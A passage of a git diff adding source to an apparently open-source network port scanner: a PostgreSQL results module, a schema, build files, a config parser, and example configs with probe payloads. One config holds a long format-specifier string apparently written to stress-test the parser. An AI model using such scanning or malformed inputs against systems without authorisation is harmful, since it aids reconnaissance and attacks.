return code %s: %s", PQresStatus(pgret), PQresultErrorMessage(pgres)); + pgsql_disable=1; + return -1; + } + PQclear(pgres); + + free(packet_str); /* not from xfree */ + } + + CLEAR(db_banner); + CLEAR(db_os); + + fifo_walk(i->od_q, database_walk_func); + + if (strlen(db_banner)) { + snprintf(querybuf, sizeof(querybuf) -1, + "insert into uni_ipreportdata (ipreport_id, type, data) values(%llu, 1, '%s');", ipreportid, pgsql_escstr(db_banner)); + pgres=PQexec(pgconn, querybuf); + pgret=PQresultStatus(pgres); + if (pgret != PGRES_COMMAND_OK) { + ERR("PostgreSQL banner insert returned a strange return code %s: %s", PQresStatus(pgret), PQresultErrorMessage(pgres)); + pgsql_disable=1; + return -1; + } + PQclear(pgres); + } + + if (strlen(db_os)) { + CLEAR(querybuf); + snprintf(querybuf, sizeof(querybuf) -1, "insert into uni_ipreportdata (ipreport_id, type, data) values(%llu, 2, '%s');", ipreportid, pgsql_escstr(db_os)); + pgres=PQexec(pgconn, querybuf); + pgret=PQresultStatus(pgres); + if (pgret != PGRES_COMMAND_OK) { + ERR("PostgreSQL banner insert returned a strange return code %s: %s", PQresStatus(pgret), PQresultErrorMessage(pgres)); + pgsql_disable=1; + return -1; + } + PQclear(pgres); + } + + return 1; +} + +/* + * XXX we have to trust other code to not lie about the length here + */ +static int pgsql_dealwith_arpreport(const arp_report_t *a) { + uint32_t tv_sec=0, tv_usec=0; + char host_addr[128], hwaddr[32], *str=NULL; + struct in_addr ia; + long long unsigned int arpreportid=0; + + ia.s_addr=a->ipaddr; + + str=inet_ntoa(ia); + assert(str != NULL); + + memset(host_addr, 0, sizeof(host_addr)); + memcpy(host_addr, str, MIN(sizeof(host_addr) -1, strlen(str))); + + snprintf(hwaddr, sizeof(hwaddr) -1, "%02x:%02x:%02x:%02x:%02x:%02x", + a->hwaddr[0], a->hwaddr[1], a->hwaddr[2], + a->hwaddr[3], a->hwaddr[4], a->hwaddr[5] + ); + + tv_sec=(uint32_t )a->recv_time.tv_sec; + tv_usec=(uint32_t )a->recv_time.tv_usec; + + snprintf(querybuf, sizeof(querybuf) -1, + "insert into uni_arpreport ( \n" + " \"scans_id\", \"magic\", \"host_addr\", \"hwaddr\", \n" + " \"tstamp\", \"utstamp\" \n" + ") \n" + "values( \n" + " %llu, %u, '%s', '%s', \n" + " %u, %u \n" + "); \n" + "select currval('uni_arpreport_id_seq') as arpreportid; \n", + pgscanid, a->magic, host_addr, hwaddr, + tv_sec, tv_usec + ); + + pgres=PQexec(pgconn, querybuf); + pgret=PQresultStatus(pgres); + if (pgret != PGRES_TUPLES_OK) { + ERR("PostgreSQL scan insert id returned a strange return code %s: %s", PQresStatus(pgret), PQresultErrorMessage(pgres)); + pgsql_disable=1; + return -1; + } + + if (PQntuples(pgres) != 1) { + ERR("PostgreSQL returned a row count other than 1, disable"); + pgsql_disable=1; + return -1; + } + else { + char *res_ptr=NULL; + + res_ptr=PQgetvalue(pgres, 0, 0); + + if (res_ptr == NULL) { + ERR("database returned NULL result pointer, disable"); + pgsql_disable=1; + return -1; + } + + if (sscanf(res_ptr, "%llu", &arpreportid) != 1) { + ERR("malformed pgscanid from database"); + pgsql_disable=1; + return -1; + } + } + PQclear(pgres); + + /* + * trust problem + */ + if (a->doff > 0) { + const void *packet=NULL; + size_t packet_len=a->doff, packet_strlen=0; + union { + const void *p; + const arp_report_t *a; + } d_u; + char *packet_str=NULL; + + d_u.a=a; + + d_u.a++; + packet=d_u.p; + + packet_str=PQescapeBytea(packet, packet_len, &packet_strlen); + + snprintf(querybuf, sizeof(querybuf) -1, + "insert into uni_arppackets (\"arpreport_id\", \"packet\") values(%llu, '%s');", + arpreportid, packet_str + ); + + pgres=PQexec(pgconn, querybuf); + + pgret=PQresultStatus(pgres); + if (pgret != PGRES_COMMAND_OK) { + ERR("PostgreSQL insert returned a strange return code %s: %s", PQresStatus(pgret), PQresultErrorMessage(pgres)); + pgsql_disable=1; + return -1; + } + PQclear(pgres); + + free(packet_str); /* not from xfree */ + } + + return 1; +} + +void pgsql_database_fini(void) { + + if (pgsql_disable) { + return; + } + + snprintf(querybuf, sizeof(querybuf) -1, "update uni_scans set e_time=%lld where scans_id=%llu;", + (long long int )s->e_time, + pgscanid + ); + + pgres=PQexec(pgconn, querybuf); + + pgret=PQresultStatus(pgres); + if (pgret != PGRES_COMMAND_OK) { + ERR("PostgreSQL finalize scan returned a strange return code %s: %s", PQresStatus(pgret), PQresultErrorMessage(pgres)); + pgsql_disable=1; + return; + } + PQclear(pgres); + + PQfinish(pgconn); + + return; +} + +static void database_walk_func(void *data) { + union { + void *p; + output_data_t *o; + } d_u; + + d_u.p=data; + + switch (d_u.o->type) { + + case OD_TYPE_BANNER: + CLEAR(db_banner); + snprintf(db_banner, sizeof(db_banner) -1, "%s", pgsql_escstr(d_u.o->t_u.banner)); + break; + + case OD_TYPE_OS: + CLEAR(db_os); + snprintf(db_os, sizeof(db_os) -1, "%s", pgsql_escstr(d_u.o->t_u.os)); + break; + + default: + ERR("unknown output format type %d in database push", d_u.o->type); + break; + } + + return; +} + +static char *pgsql_escstr(const char *in) { + static char *outstr=NULL; + static size_t outstr_len=0; + size_t inlen=0; + + if (in == NULL) { + return NULL; + } + + inlen=strlen(in) + 1; + + assert(inlen < 0xffff); + + if (outstr == NULL) { + outstr_len=inlen * 2; + outstr=xmalloc(outstr_len); + } + else if ((inlen * 2) > outstr_len) { + + outstr_len=inlen * 2; + + outstr=xrealloc(outstr, outstr_len); + } + + memset(outstr, 0, outstr_len); + + PQescapeString(outstr, in, inlen - 1); + + return outstr; +} diff --git a/src/output_modules/database/sql/pgsql_schema.sql b/src/output_modules/database/sql/pgsql_schema.sql new file mode 100644 index 0000000..0a5aaa5 --- /dev/null +++ b/src/output_modules/database/sql/pgsql_schema.sql @@ -0,0 +1,207 @@ +drop table "uni_sworkunits"; +drop table "uni_lworkunits"; +drop table "uni_workunitstats"; +drop table "uni_output"; +drop table "uni_ipreportdata"; +drop table "uni_ippackets"; +drop table "uni_arppackets"; +drop table "uni_ipreport"; +drop sequence "uni_ipreport_id_seq"; +drop table "uni_arpreport"; +drop sequence "uni_arpreport_id_seq"; +drop table "uni_scans"; +drop sequence "uni_scans_id_seq"; + +create sequence "uni_scans_id_seq"; +-- MASTER INFORMATION +create table "uni_scans" ( + "scans_id" int8 not null default nextval('uni_scans_id_seq'), + "s_time" int8 not null, + "e_time" int8 not null, + "est_e_time" int8 not null, + "senders" int2 not null, + "listeners" int2 not null, + "scan_iter" int2 not null, + "profile" varchar(200) not null, + "options" int4 not null, + "payload_group" int2 not null, + "dronestr" varchar(200) not null, + "covertness" int2 not null, + "modules" varchar(200) not null, + "user" varchar(200) not null, + "pcap_dumpfile" varchar(200), + "pcap_readfile" varchar(200), + "tickrate" int4 not null, + "num_hosts" double precision not null, + "num_packets" double precision not null, + primary key("scans_id") +); + +--- WORKUNITS +create table "uni_sworkunits" ( + "magic" int8 not null, + "scans_id" int8 not null, + "repeats" int2 not null, + "send_opts" int4 not null, + "pps" int8 not null, + "delay_type" int2 not null, + "myaddr" inet not null, + "mymask" inet not null, + "macaddr" macaddr not null, + "mtu" int4 not null, + "target" inet not null, + "targetmask" inet not null, + "tos" int2 not null, + "minttl" int2 not null, + "maxttl" int2 not null, + "fingerprint" int2 not null, + "src_port" int4 not null, + "ip_off" int4 not null, + "ipoptions" bytea null, + "tcpflags" int4 not null, + "tcpoptions" bytea null, + "window_size" int4 not null, + "syn_key" int8 not null, + "port_str" text, + -- tracking information + "wid" int8 not null, + "status" int2 not null +); + +alter table "uni_sworkunits" + add constraint uni_sworkunit_uniq_comp_LK + unique ("scans_id", "wid"); + +alter table "uni_sworkunits" + add constraint uni_sworkunit_uni_scans_FK + foreign key("scans_id") + references "uni_scans"("scans_id"); + +create table "uni_lworkunits" ( + "magic" int8 not null, + "scans_id" int8 not null, + "recv_timeout" int2 not null, + "ret_layers" int2 not null, + "recv_opts" int4 not null, + "window_size" int8 not null, + "syn_key" int8 not null, + "pcap_str" text, + -- tracking information + "wid" int8 not null, + "status" int2 not null +); + +alter table "uni_lworkunits" + add constraint uni_lworkunit_uniq_comp_LK + unique ("scans_id", "wid"); + +alter table "uni_lworkunits" + add constraint uni_lworkunit_uni_scans_FK + foreign key("scans_id") + references "uni_scans"("scans_id"); + +-- MISC INFO +create table "uni_workunitstats" ( + "wid" int8 not null, + "scans_id" int8 not null, + "msg" text not null +); + +alter table "uni_workunitstats" + add constraint uni_workunitstats_uni_scans_FK + foreign key("scans_id") + references "uni_scans"("scans_id"); + +create table "uni_output" ( + "scans_id" int8 not null, + "msg" text not null +); + +alter table "uni_output" + add constraint uni_output_uni_scans_FK + foreign key("scans_id") + references "uni_scans"("scans_id"); + +create sequence "uni_ipreport_id_seq"; + +create table "uni_ipreport" ( + "ipreport_id" int8 not null default nextval('uni_ipreport_id_seq'), + "scans_id" int8 not null, + "magic" int8 not null, + "sport" int4 not null, + "dport" int4 not null, + "proto" int2 not null, + "type" int4 not null, + "subtype" int4 not null, + "send_addr" inet not null, + "host_addr" inet not null, + "trace_addr" inet not null, + "ttl" int2 not null, + "tstamp" int8 not null, + "utstamp" int8 not null, + "flags" int4 not null, + "mseq" int8 not null, + "tseq" int8 not null, + "window_size" int4 not null, + "t_tstamp" int8 not null, + "m_tstamp" int8 not null, + primary key ("ipreport_id") +); + +alter table "uni_ipreport" + add constraint uni_ipreport_uni_scans_FK + foreign key ("scans_id") + references "uni_scans"("scans_id"); + +create index uni_ipreport_scansid_idx on uni_ipreport("scans_id"); + +create sequence "uni_arpreport_id_seq"; + +create table "uni_arpreport" ( + "arpreport_id" int8 not null default nextval('uni_arpreport_id_seq'), + "scans_id" int8 not null, + "magic" int8 not null, + "host_addr" inet not null, + "hwaddr" macaddr not null, + "tstamp" int8 not null, + "utstamp" int8 not null, + primary key ("arpreport_id") +); + +alter table "uni_arpreport" + add constraint uni_arpreport_uni_scans_FK + foreign key ("scans_id") + references "uni_scans"("scans_id"); + +create index uni_arpreport_scansid_idx on uni_arpreport("scans_id"); + +create table "uni_ipreportdata" ( + "ipreport_id" int8 not null, + "type" int2 not null, + "data" text +); + +alter table "uni_ipreportdata" + add constraint uni_reportdata_uni_ipreport_FK + foreign key("ipreport_id") + references "uni_ipreport"("ipreport_id"); + +create table "uni_ippackets" ( + "ipreport_id" int8 not null, + "packet" bytea not null +); + +alter table "uni_ippackets" + add constraint uni_ippackets_uni_ipreport_FK + foreign key("ipreport_id") + references "uni_ipreport"("ipreport_id"); + +create table "uni_arppackets" ( + "arpreport_id" int8 not null, + "packet" bytea not null +); + +alter table "uni_arppackets" + add constraint uni_arppackets_uni_arpreport_FK + foreign key("arpreport_id") + references "uni_arpreport"("arpreport_id"); diff --git a/src/packageinfo.h.in b/src/packageinfo.h.in new file mode 100644 index 0000000..06ea5a3 --- /dev/null +++ b/src/packageinfo.h.in @@ -0,0 +1,35 @@ +#ifndef VERSION + +#define VERSION "@PACKAGE_VERSION@" +#define BUGURL "@PACKAGE_BUGREPORT@" + +#ifdef WITH_SELINUX +#define _B_SE " SELinux" +#else +#define _B_SE "" +#endif + +#ifdef WITH_MYSQL +#define _B_MYSQL " MySQL" +#else +#define _B_MYSQL "" +#endif + +#ifdef WITH_PGSQL +#define _B_PGSQL " PostgreSQL" +#else +#define _B_PGSQL "" +#endif + +#define BUILDOPTS _B_SE _B_MYSQL _B_PGSQL + +#define MODULE_IVER 0x0103 /* 1.02 */ + +#define DRONE_MAJ 1 +#define DRONE_MIN 1 + +#define MOD_VERSION(version, maj, min) \ + maj=(((version) & 0xFF00) >> 8); \ + min=((version) & 0x00FF) + +#endif diff --git a/src/parse/Makefile.in b/src/parse/Makefile.in new file mode 100644 index 0000000..0a9b82a --- /dev/null +++ b/src/parse/Makefile.in @@ -0,0 +1,32 @@ +include ../../Makefile.inc + +SRCS=parse.tab.c lex.uu.c putil.c +HDRS=parse.tab.h parse.h putil.h +OBJS=$(SRCS:.c=.lo) + +LIBNAME=libparse.la +BOB=parse.tab.c lex.uu.c + +all: $(LIBNAME) + +$(OBJS): $(HDRS) + +prepare: $(BOB) + +$(LIBNAME): $(OBJS) $(HDRS) + $(LIBTOOL) --mode=link $(CC) $(CFLAGS) -o $(LIBNAME) $(OBJS) + +parse.tab.c: parse.y + $(BISON) -puu parse.y + +lex.uu.c: parse.l parse.tab.h + $(FLEX) -Puu parse.l + +install: all +uninstall: + +clean: + $(LIBTOOL) --mode=clean rm -f $(OBJS) $(LIBNAME) + +distclean: clean + rm -f parse.tab.c parse.tab.h lex.uu.c diff --git a/src/parse/example_confs/cruel.conf b/src/parse/example_confs/cruel.conf new file mode 100644 index 0000000..8990908 --- /dev/null +++ b/src/parse/example_confs/cruel.conf @@ -0,0 +1,34 @@ +/********************** + * test comment * + **********************/ + + +global { + pps: 800; + brokencrc: transport; + sourceport: -1; + defaultpayload: true; + readfile: "/dev/null"; + sendfrags: false; + interface: "wlan0"; + procerrors: true; + listendrone: false; + senddrone: false; + scanmode: tcpscan; + moduledir: "/tmp"; /* comment 2 */ + nopatience: true; + pcapfilter: "! port 162"; + srcaddr: random; + srcaddr: 192.168.13.221; + ipttl: 0xFF; + iptos: \020; + savefile: "/tmp/%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%dsave%d.pcap%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%%d%d%d%d%d%d%d%d%%d%d%d%d%d%d%d%d%%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%%d%d%d%d%d%d%d%d%%d%d%d%d%d%d%d%d%%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%%d%d%d%d%d%d%d%d%%d%d%d%d%d%d%d%d%%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%%d%d%d%d%d%d%d%d%%d%d%d%d%d%d%d%d%%d%d%d%d%d%d%d%d%d%d%d%d"; + fingerprint: 1; + verbose: 1; + drones: "bob:5467,mary:1234"; + idlehosts: "frank, black"; + idlescan: false; + tcpflags: syn, fin, urg, psh, rst, ack, ece, cwr; +}; + +include "payloadtest.conf"; diff --git a/src/parse/example_confs/dangerous.conf b/src/parse/example_confs/dangerous.conf new file mode 100644 index 0000000..298c8c6 --- /dev/null +++ b/src/parse/example_confs/dangerous.conf @@ -0,0 +1,19 @@ + +payloads { + udp dstport 53 srcport 53 dangerous true { + "\377\777\477\577\765\007\444"; + }; + + udp dstport 7 srcport -1 dangerous true { + "\141\154\154\040\167\157\162\153" + "\040\141\156\144\040\156\157\040" + "\160\154\141\171\040\155\141\153" + "\145\163\040\152\141\143\153\040" + "\141\040\144\165\154\154\040\142" + "\157\171"; + }; + + tcp dstport 80 srcport -1 dangerous true { + "HEAD / HTTP/1.0\r\n\r\n"; + }; +}; diff --git a/src/parse/example_confs/example.conf b/src/parse/example_confs/example.conf new file mode 100644 index 0000000..886d59d --- /dev/null +++ b/src/parse/example_confs/example.conf @@ -0,0 +1,38 @@ +/********************** + * test comment * + **********************/ + +// comment 2 +/* test */ // test 3 + +global { + pps: 800; + BrokenCRC: transport; + sourceport: -1; + defaultpayload: true; + readfile: '/dev/null'; + sendfrags: false; + interface: "wlan0"; + procerrors: true; + listendrone: false; + senddrone: false; + ignoreroot: true; + scanmode: tcpscan; + moduledir: "/tmp"; /* comment 2 */ + nopatience: true; + pcapfilter: "! port 162"; + srcaddr: random; + srcaddr: 192.168.13.221; + ipttl: 0xFF; + iptos: \020; // this will be parsed as a number (octal) + savefile: "/tmp/scan-%d-%%test.pcap"; + fingerprint: 1; + verbose: 1; + drones: "bob:5467,mary:1234"; + idlehosts: "frank, black"; + idlescan: false; + tcpflags: "Sfupraec"; +}; + +include "example_confs/payloadtest.conf"; +include "example_confs/moduletest.conf"; diff --git a/src/parse/example_confs/moduletest.conf b/src/parse/example_confs/moduletest.conf new file mode 100644 index 0000000..4f668e3 --- /dev/null +++ b/src/parse/example_confs/moduletest.conf @@ -0,0 +1,14 @@ + +module "bob" { + bob: bob; +}; + +module "p0f" { + resets: true; +}; + +module "non-existant" { + aaa: ccc; + yyy: 'sdfsdf'; + bbb: "ddd"; +}; diff --git a/src/parse/example_confs/payloads.conf b/src/parse/example_confs/payloads.conf new file mode 100644 index 0000000..873354a --- /dev/null +++ b/src/parse/example_confs/payloads.conf @@ -0,0 +1,3 @@ + +include "example_confs/dangerous.conf"; +include "example_confs/safe.conf"; diff --git a/src/parse/example_confs/payloadtest.conf b/src/parse/example_confs/payloadtest.conf new file mode 100644 index 0000000..74defd4 --- /dev/null +++ b/src/parse/example_confs/payloadtest.conf @@ -0,0 +1,29 @@ + +payloads { + /* IP PROTOCOL - SOURCE PORT - DESTPORT - PAYLOAD GROUP */ + udp 5 33 1 { + "\377\777\477\577\765\007\444" + }; + + udp 444 444 2 { + "\x00\x01\x02" + }; + + udp 7 -1 1 { + "\141\154\154\040\167\157\162\153" + "\040\141\156\144\040\156\157\040" + "\160\154\141\171\040\155\141\153" + "\145\163\040\152\141\143\153\040" + "\141\040\144\165\154\154\040\142" + "\157\171" + }; + + udp 44 -1 2 { + "evil" + "\376\341\336\255" + }; + + udp 555 222 1 { + "\x90\x90\xff\xff" + }; +}; diff --git a/src/parse/example_confs/safe.conf b/src/parse/example_confs/safe.conf new file mode 100644 index 0000000..5426068 --- /dev/null +++ b/src/parse/example_confs/safe.conf @@ -0,0 +1,16 @@ + +payloads { + udp dstport 5 srcport 33 dangerous false { + "\377\777\477\577\765\007\444"; + }; + + udp dstport 7 srcport -1 dangerous false { + "\141\154\154\040\167\157\162\153" + "\040\141\156\144\040\156\157\040" + "\160\154\141\171\040\155\141\153" + "\145\163\040\152\141\143\153\040" + "\141\040\144\165\154\154\040\142" + "\157\171"; + }; + +}; diff --git a/src/parse/parse.h b/src/parse/parse.h new file mode 100644 index 0000000..1365e43 --- /dev/null +++ b/src/parse/parse.h @@ -0,0 +1,24 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _PARSE_H +# define _PARSE_H + +int readconf(const char *); + +#endif diff --git a/src/parse/parse.l b/src/parse/parse.l new file mode 100644 index 0000000..d999c16 --- /dev/null +++ b/src/parse/parse.l @@ -0,0 +1,194 @@ +%{ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include +#include +#include +#include +#include + +#include + +#include "parse.tab.h" + +#define INCLUDE_DEPTH 16 + +static char tmpbuf[2048], *tmpptr=NULL; +char section[1024]; + +struct incf_s { + char filename[PATH_MAX]; + int lineno; + FILE *fp; +}; + +int incs_index=0; +struct incf_s incs[INCLUDE_DEPTH]; +void switchfiles(const char *); +void uuerror(const char *); + +%} + +%x scomment cppcomment + +%option yylineno +%option never-interactive + +%% +[ \t\f\r\n]* /* ignore whitespace */ +\/\* { BEGIN(scomment); } +{ +. /* ignore */ +\n /* ignore */ +} +\*\/ { BEGIN(INITIAL); } +\/\/ { BEGIN(cppcomment); } +{ +. /* ignore */ +} +\n { BEGIN(INITIAL); } +(:wq|:wq!|:q|:q!) /* :wq! requested by pipes */ +0x[0-9A-Fa-f][0-9A-Fa-f]* { if (sscanf(uutext, "%x", &uulval.uinum) != 1) { + uuerror("Malformed hex number"); + } return UNUMBER; } +\\[0-7][0-7]?[0-7]? { uutext++; if (sscanf(uutext, "%o", &uulval.uinum) != 1) { + uuerror("malformed octal number"); + } return UNUMBER; } +-?[0-9][0-9]* { if (sscanf(uutext, "%d", &uulval.inum) != 1) { + uuerror("malformed number"); + } return NUMBER; } +\"[^\"]*\" { uulval.buf.ptr=NULL; uulval.buf.len=0; return uuescapestr(uutext, &(uulval.buf)); } +\'[^\']*\' { uutext++; uutext[strlen(uutext) - 1]='\0'; uulval.ptr=xstrdup(uutext); return STR; } +([tT]rue|[yY]es) { uulval.uinum=1; return BOOL; } +([fF]alse|[nN]o) { uulval.uinum=0; return BOOL; } +[gG]lobal return GLOBAL; +[mM]odule return MODULE; +[pP]ayloads return PAYLOADS; +[{}\,;:] return *uutext; +[a-zA-Z0-9\./]+ { uulval.ptr=xstrdup(uutext); return WORD; } +include[ \t]+\"[^\"]*\"; { + if (sscanf(uutext, "include %512s", tmpbuf) != 1) { + uuerror("include statement malformed"); + } + if (tmpbuf[0] == '"' && tmpbuf[1] != '\0') { + tmpptr=&tmpbuf[1]; + } + if (tmpptr[strlen(tmpptr) -2] == '"') { + tmpptr[strlen(tmpptr) -2]='\0'; + } + switchfiles((const char *)tmpptr); + } +. { + uuerror("unknown character in config file"); + } + +%% + +void switchfiles(const char *newfile) { + + VRB(2, "opening config file `%s'", newfile); + + if (incs_index > (INCLUDE_DEPTH - 2)) { + ERR("includes too complex %d max", INCLUDE_DEPTH); + return; + } + if (access(newfile, R_OK) != 0) { + ERR("include file `%s' is not readable", newfile); + return; + } + incs[incs_index].lineno=uulineno; + incs[incs_index].fp=uuin; + + incs_index++; + + uulineno=0; + incs[incs_index].lineno=0; + + snprintf(incs[incs_index].filename, sizeof(incs[incs_index].filename) -1, "%s", newfile); + incs[incs_index].fp=fopen(incs[incs_index].filename, "r"); + if (incs[incs_index].fp == NULL) { + terminate("cant open file, access said i could?"); + } + + uuin=incs[incs_index].fp; + + return; +} + +int uuwrap(void) { + if (incs_index) { + assert(incs[incs_index].fp != NULL); + fclose(incs[incs_index].fp); + incs_index--; + uuin=incs[incs_index].fp; + uulineno=incs[incs_index].lineno; + return 0; + } + else { + return 1; + } +} + +/* lib entry point */ +int readconf(const char *in) { + + if (in == NULL) { + ERR("no file to open"); + return -1; + } + + uuin=fopen(in, "r"); + + if (uuin == NULL) { + ERR("error opening file `%s': %s", in, strerror(errno)); + return -1; + } + + incs_index=0; + snprintf(incs[incs_index].filename, sizeof(incs[incs_index].filename) -1, "%s", in); + incs[incs_index].fp=uuin; + incs[incs_index].lineno=0; + uuparse(); + + if (uuin) { + fclose(uuin); + } + + return 1; +} + +void uuerror(const char *instr) { + extern int uulineno; + + terminate("config file error: `%s' at token `%s' in file `%s' line %d", + instr, uutext, incs[incs_index].filename, uulineno + ); +} + +void uuwarn(const char *instr) { + extern int uulineno; + + ERR("config file warning: `%s' at token `%s' in file `%s' line %d", + instr, uutext, incs[incs_index].filename, uulineno + ); +} diff --git a/src/parse/parse.y b/src/parse/parse.y new file mode 100644 index 0000000..579784d --- /dev/null +++ b/src/parse/parse.y @@ -0,0 +1,282 @@ +%{ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include + +#include +#include +#include +#include +#include + +#define MAIN (ident == IDENT_MASTER || ident == IDENT_ANY) +#define SEND (ident == IDENT_SEND || ident == IDENT_ANY) + +extern int uuwarn(const char *); +extern void uuerror(const char *); +static char *eptr=NULL; + +%} + +%union { + int inum; + unsigned int uinum; + char *ptr; + buf_t buf; +} + +%token NUMBER UNUMBER STR BSTR WORD +%token PAYLOADS GLOBAL MODULE BOOL + +%token NUMBER +%token UNUMBER BOOL +%token STR WORD +%token BSTR + +%start cfgfile + +%{ + + +%} + +%% +cfgfile: + | section cfgfile + ; + +section: + GLOBAL '{' glines '}' ';' + | PAYLOADS '{' plines '}' ';' + | MODULE STR '{' mlines '}' ';' { + scan_collectkeyval((const char *)$2); + } + ; + +glines: + | g_statement glines + ; + +plines: + | p_statement plines + ; + +mlines: + | m_statement mlines + ; + +g_statement: + WORD ':' STR ';' { + if (MAIN && (eptr=scan_optmap((const char *)$1, (const char *)$3)) != NULL) { + uuerror(eptr); + } + } + | WORD ':' NUMBER ';' { + if (MAIN && (eptr=scan_optmapi((const char *)$1, $3)) != NULL) { + uuerror(eptr); + } + } + | WORD ':' UNUMBER ';' { + if ($3 > INT_MAX) { + uuerror("number out of range"); + } + if (MAIN && (eptr=scan_optmapi((const char *)$1, (int)$3)) != NULL) { + uuerror(eptr); + } + } + | WORD ':' BOOL ';' { + if (MAIN && (eptr=scan_optmapi((const char *)$1, (int)$3)) != NULL) { + uuerror(eptr); + } + } + | WORD ':' WORD ';' { + if (MAIN && (eptr=scan_optmap((const char *)$1, (const char *)$3)) != NULL) { + uuerror(eptr); + } + } + | WORD '{' pdata '}' ';' { + buf_t data; + char *string=NULL; + + pbuffer_get(&data); + + string=(char *)xmalloc(data.len + 1); + memcpy(string, data.ptr, data.len); + string[data.len]='\0'; + + if ((eptr=scan_optmap((const char *)$1, (const char *)string)) != NULL) { + uuerror(eptr); + } + + pbuffer_reset(); + } + ; + +p_statement: + /*ip dst src plg */ + WORD NUMBER NUMBER NUMBER '{' pdata '}' ';' { + uint8_t proto=0; + uint16_t dstport=0; + buf_t data; + uint16_t plg=0; + + if (strcasecmp($1, "tcp") == 0) { + proto=IPPROTO_TCP; + } + else if (strcasecmp($1, "udp") == 0) { + proto=IPPROTO_UDP; + } + else { + uuerror("unsupported ip protocol `%s'"); + } + + if ($4 > 0xFFFF || $4 < 0) { + uuerror("payload group out of range"); + } + else { + plg=(uint16_t)$4; + } + + pbuffer_get(&data); + + if ($2 > 0xFFFF || $2 < 0) { + if ($2 == -1) { + if (SEND && proto == IPPROTO_UDP) { + add_default_payload(IPPROTO_UDP, $3, (const uint8_t *)data.ptr, (uint32_t)data.len, NULL, plg); + } + else if (MAIN && proto == IPPROTO_TCP) { + add_default_payload(IPPROTO_TCP, $3, (const uint8_t *)data.ptr, (uint32_t)data.len, NULL, plg); + } + else if ((SEND && proto == IPPROTO_TCP) || (MAIN && proto == IPPROTO_UDP)) { + } + else { + PANIC("im confused in %s with proto %u from configuration", ((MAIN) ? "Main" : "Send"), proto); + } + } + else { + uuerror("payload dest port out of range"); + } + } + else { + dstport=(uint16_t)$2; + } + + if (SEND && proto == IPPROTO_UDP) { + add_payload(IPPROTO_UDP, dstport, $3, (const uint8_t *)data.ptr, (uint32_t)data.len, NULL, plg); + } + else if (MAIN && proto == IPPROTO_TCP) { + add_payload(IPPROTO_TCP, dstport, $3, (const uint8_t *)data.ptr, (uint32_t)data.len, NULL, plg); + } + else if ((SEND && proto == IPPROTO_TCP) || (MAIN && proto == IPPROTO_UDP)) { + } + else { + PANIC("im confused in %s with proto %u from configuration", ((MAIN) ? "Main" : "Send"), proto); + } + + pbuffer_reset(); + } + ; + +m_statement: + WORD ':' WORD ';' { + scan_modaddkeyval((const char *)$1, (const char *)$3); + } + | WORD ':' NUMBER ';' { + char numbuf[16]; + + snprintf(numbuf, sizeof(numbuf) -1, "%d", $3); + scan_modaddkeyval((const char *)$1, (const char *)numbuf); + } + | WORD ':' BOOL ';' { + char numbuf[16]; + + snprintf(numbuf, sizeof(numbuf) -1, "%d", $3); + scan_modaddkeyval((const char *)$1, (const char *)numbuf); + } + | WORD ':' STR ';' { + scan_modaddkeyval((const char *)$1, (const char *)$3); + } + | multi_line_str ';' { + char mtls[4096]; + buf_t data; + + pbuffer_get(&data); + + if (data.len > 4095) { + uuerror("multi-line string too long"); + } + else if (data.len > 0) { + memcpy(mtls, data.ptr, data.len); + mtls[data.len]='\0'; + + scan_modaddkeyval("DATA", (const char *)mtls); + } + + pbuffer_reset(); + } + ; + +multi_line_str: + line_str + | line_str multi_line_str + ; + +line_str: + STR { + buf_t data; + + if ($1 && strlen($1)) { + data.len=strlen($1); + data.ptr=(char *)$1; + + pbuffer_append(&data); + } + } + ; + +pdata: + BSTR { + if (SEND || MAIN) pbuffer_append(&$1); + } + | pdata BSTR { + if (SEND || MAIN) pbuffer_append(&$2); + } + | STR { + if (SEND || MAIN) { + buf_t data; + + data.len=strlen($1); + 